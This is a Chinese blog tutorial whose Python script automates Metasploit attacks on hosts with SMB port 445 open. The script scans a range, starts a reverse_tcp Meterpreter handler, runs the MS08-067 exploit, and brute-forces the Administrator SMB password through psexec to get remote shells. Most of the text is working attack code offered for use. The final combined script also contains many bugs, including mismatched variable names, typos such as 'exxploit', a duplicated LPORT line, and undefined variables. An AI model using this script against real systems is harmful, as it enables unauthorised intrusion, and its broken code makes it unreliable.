1. 程式人生 > >Python指令碼與Metasploit互動攻擊

Python指令碼與Metasploit互動攻擊

Metasploit是一款強大的漏洞掃描和利用工具,編寫Python指令碼與Metasploit進行互動,可以自動化的掃描和利用漏洞。

相關文章:Metasploit框架的使用

在指令碼中,我們首選需要利用 nmap 模組掃描目標主機是否開放了445埠,我們寫了一個 findTarget() 函式,來掃描給定ip或者給定網段中開放了目標埠的主機,返回開放了445埠的主機列表。445埠是作為SMB檔案共享協議的埠,在這個埠上,經常爆發出各種高危的漏洞。 相關文章:檔案共享協議之139/445埠

def findTarget(Hosts):              #掃描網段範圍內開放445埠的主機
    nmScan=nmap.PortScanner()
    nmScan.scan(Hosts,'445')
    targets=[]
    for t in nmScan.all_hosts():
        if nmScan[t].has_tcp(445):  #如果445埠提供了協議
            state=nmScan[t]['tcp'][445]['state']  #檢視445埠的狀態
            if state=='open':
                print '[+]Found Target Host:'+t
                targets.append(t)
                
    return targets         #返回開放445埠的主機列表

Metasploit提供了一個被稱為Meterpreter的高階動態載荷,它是一種後滲透工具。當滲透進目標主機後,Meterpreter會主動連線目標主機,並提供大量 分析和控制主機的引數。我們寫了setupHandler()函式,使用 exploit/multi/handler監聽資料,我們設定payload為 windows/x64/meterpreter/reverse_tcp 。我們還需要設定一個全域性變數DisablePayloadHandler,其作用是:我們已經新建了一個監聽器,以後所有的主機都不必重複新建監聽器。相關文章:Meterpreter之exploit/multi/handler木馬

def setupHandler(configFilee,lhost,lport):               #監聽本機的埠
    configFilee.write('use exploit/multi/handler\n')     #使用exploit/multi/handler監聽從肉雞發來的資料
    configFilee.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp\n')  #設定載荷、IP和埠
    configFilee.write('set LHOST '+lhost+'\n')
    configFilee.write('set LPORT '+str(lport)+'\n')
    configFilee.write('set ExitOnSession false\n')    #為了在單個處理程式上獲得多個會話,需要將ExitOnSession選項設定為false
    configFilee.write('exploit -j -z\n')                 #-j選項是將所有連線的會話保持在後臺 -z不與任務進行即時交換
    configFilee.write('set DisablePayloadHandler 1\n')  #不重新新建監聽器

當指令碼能夠在目標主機上執行漏洞利用程式碼時,配置函式將向Metasploit  rc 指令碼中寫入用於生成漏洞利用程式碼的目標主機、本地地址和埠。該函式還將把使用哪個漏洞利用程式碼的指令也寫入rc指令碼檔案中,這裡我們使用 MS_08067_netapi漏洞。此外,該函式還需要設定Payload、Lport。最後,該指令碼傳送一條指令在同一個任務(job)的上下文環境中( -j ),不與任務進行即時互動的條件下 ( -z ) 利用對目標計算機上的漏洞

def confickerExploit(configFile,target,lhost,lport):            #漏洞利用
    configFile.write('use exploit/windows/smb/ms08_067_netapi\n')  #漏洞利用程式碼
    configFile.write('set RHOST '+str(target)+'\n')              #設定引數
    configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
    configFile.write('set LPORT'+str(lport)+'\n')
    configFile.write('set LHOST '+lhost+'\n')
    configFile.write('exploit -j -z\n')

儘管如此我們已經可以成功的在被黑的主機上執行漏洞利用程式碼,但一旦目標主機安裝了最新的安全補丁便可以阻止該程式碼被執行,因此我們的指令碼還需要另一種攻擊方式,如暴力破解SMB使用者名稱和密碼,以此獲取在目標主機上遠端執行一個程序的許可權。輸入smbBrute() 函式的引數有:Metasploit 指令碼檔案、目標主機、包含密碼列表的另一個檔案、本地地址、埠。使用者名稱預設為windows管理員Administrator,開啟密碼列表檔案,對於每一個密碼,都會生成一個用來遠端執行程序的Metasploit指令碼,如果密碼正確則遠端執行程序的程式碼就會執行一個shell到攻擊者本地地址對應的埠。

def smbBrute(configFile,target,passwdFile,lhost,lport):
    username='Administrator'
    pF=open(passwordFile,'r')
    for password in pF.readlines():
        password=password.strip('\n')
        configFile.write('use exploit/windows/smb/psexec\n')
        configFile.write('set SMBUser '+str(username)+'\n')
        configFile.write('set SMBPass '+str(password)+'\n')
        configFile.write('set RHOST '+str(target)+'\n')
        configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
        configFile.write('set LPORT '+str(lport)+'\n')
        configFile.write('set LHOST '+lhost+'\n')
        configFile.write('exploit -j -z\n')

最後,對上面所有的程式碼進行整合。

# -*- coding: utf-8 -*-
"""
Created on Sun Nov  4 16:11:33 2018
@author: 小謝
"""
import os
import optparse
import sys
import nmap
def findTarget(Hosts):              #掃描網段範圍內開放445埠的主機
    nmScan=nmap.PortScanner()
    nmScan.scan(Hosts,'445')
    targets=[]
    for t in nmScan.all_hosts():
        if nmScan[t].has_tcp(445):  #如果445埠提供了協議
            state=nmScan[t]['tcp'][445]['state']  #檢視445埠的狀態
            if state=='open':
                print '[+]Found Target Host:'+t
                targets.append(t)
                
    return targets         #返回開放445埠的主機列表
def setupHandler(configFile,lhost,lport):            #監聽被攻擊的主機
    configFilee.write('use exploit/multi/handler\n')     #使用該預設釋出命令
    configFilee.write('set PAYLOAD windows/meterpreter/reverse_tcp\m')  #設定載荷、IP和埠
    configFilee.write('set LPORT '+str(lport)+'\n')
    configFilee.write('set LPORT '+lhost+'\n')
    configFilee.write('exploit -j -z\n')
    configFilee.write('setg DisablePayloadHandler 1\n')  #不重新
def confickerExploit(configFile,target,lhost,lport):            #漏洞利用
    configFile.write('use exploit/windows/smb/ms08_067_netapi\n')  #漏洞利用程式碼
    configFile.write('set RHOST '+str(target)+'\n')              #設定引數
    configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
    configFile.write('set LPORT'+str(lport)+'\n')
    configFile.write('set LHOST '+lhost+'\n')
    configFile.write('exxploit -j -z\n')
def smbBrute(configFile,target,passwdFile,lhost,lport):          #暴力破解SMB口令
    username='Administrator'
    pF=open(passwordFile,'r')
    for password in pF.readlines():
        password=password.strip('\n')
        configFile.write('use exploit/windows/smb/psexec\n')
        configFile.write('set SMBUser '+str(username)+'\n')
        configFile.write('set SMBPass '+str(password)+'\n')
        configFile.write('set RHOST '+str(target)+'\n')
        configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
        configFile.write('set LPORT '+str(lport)+'\n')
        configFile.write('set LHOST '+lhost+'\n')
        configFile.write('exploit -j -z\n')
def main():
    configFile=open('meta.rc','w')
    usage='[-]Usage %prog -H <RHOSTS> -l/-L <LHOST> [-p/-P <LPORT> -F/-f <password File>]'
    parser=optparse.OptionParser(usage)
    parser.add_option('-H',dest='target',type='string',help='target host')
    parser.add_option('-p','-P',dest='lport',type='string',help='listen port')
    parser.add_option('-l','-L',dest='lhost',type='string',help='listen address')
    parser.add_option('-F','-f',dest='passwdFile',type='string',help='password file')
    (options,args)=parser.parse_args()
    if (options.target==None)|(options.lhost==None):
        print parser.usage
        exit(0)
    if lport==None:
        lport=='2333'
    passwdFile=options.passwdFile
    targets=findTarget(options.target)           #尋找目標
    setupHandler(configFile,lhost,lport)
    for target in targets:                       #逐個攻擊
        confickerExploit(configFile,target,lhost,lport)
        if passwdFile!=None:
            smbBrute(configFile,target,passwdFile,lhost,lport)
        configFile.close()
        os.system('msfconsole -r meta.rc')  #啟動metasploit並讀取配置檔案
if __name__=='__main__':
    main()